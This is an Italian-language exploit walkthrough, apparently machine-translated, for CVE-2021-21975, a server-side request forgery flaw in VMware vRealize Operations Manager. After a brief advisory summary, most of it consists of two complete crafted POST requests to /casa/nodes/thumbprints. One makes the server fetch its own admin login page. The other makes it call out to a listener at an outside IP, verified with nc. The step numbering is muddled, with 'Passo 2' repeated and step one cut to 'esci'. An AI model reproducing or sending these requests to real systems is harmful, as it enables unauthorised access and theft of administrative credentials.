
CVE-2021-21975 vRealize Operations Manager SSRF
Il 31 marzo 2021, VMware ha rilasciato ufficialmente l'avviso di rischio vmsa-2021-0004. I numeri di vulnerabilità sono cve-2021-21975 e cve-2021-21983. Il livello di vulnerabilità è alto rischio e il punteggio di vulnerabilità è 8.6.
CVE-2021-21975: Un attore malintenzionato con accesso di rete all'API di vRealize Operations Manager può effettuare un attacco Server Side Request Forgery per rubare le credenziali amministrative.
CVE-2021-21983: Un attore malintenzionato autenticato con accesso di rete all'API di vRealize Operations Manager può scrivere file in posizioni arbitrarie sul sistema operativo Photon sottostante.
Passo 1: esci

Passo 2: Successivamente, visita /casa/nodes/thumbprints e usa burpsuite per intercettare il pacchetto dati e costruire il seguente pacchetto di richiesta per far sì che il server richieda l'accesso alla pagina di autenticazione.
POST /casa/nodes/thumbprints HTTP/1.1
Host: 192.168.203.155
Connection: close
Cache-Control: max-age=0
sec-ch-ua: "Google Chrome";v="89", "Chromium";v="89", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: application/json;charset=UTF-8
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 36
["127.0.0.1:443/admin/login.action"]

Passo 2: Utilizzando dnslog per verificare SSRF, si è scoperto che non c'era risposta per molto tempo, quindi si è dovuto usare NC per la verifica. Il pacchetto di richiesta costruito è il seguente:
POST /casa/nodes/thumbprints HTTP/1.1
Host: 192.168.203.155
Connection: close
Cache-Control: max-age=0
sec-ch-ua: "Google Chrome";v="89", "Chromium";v="89", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: application/json;charset=UTF-8
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 23
["192.168.202.86:4444"]
